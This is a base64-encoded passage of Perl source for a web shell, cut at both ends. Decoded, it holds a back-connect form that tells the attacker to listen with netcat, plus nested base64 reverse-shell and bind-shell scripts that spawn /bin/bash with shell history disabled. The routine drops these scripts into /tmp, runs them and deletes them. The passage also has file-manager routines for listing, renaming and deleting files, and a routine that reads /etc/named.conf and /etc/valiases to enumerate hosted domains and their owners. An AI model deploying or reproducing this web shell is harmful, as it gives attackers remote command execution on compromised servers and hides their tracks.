Wx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t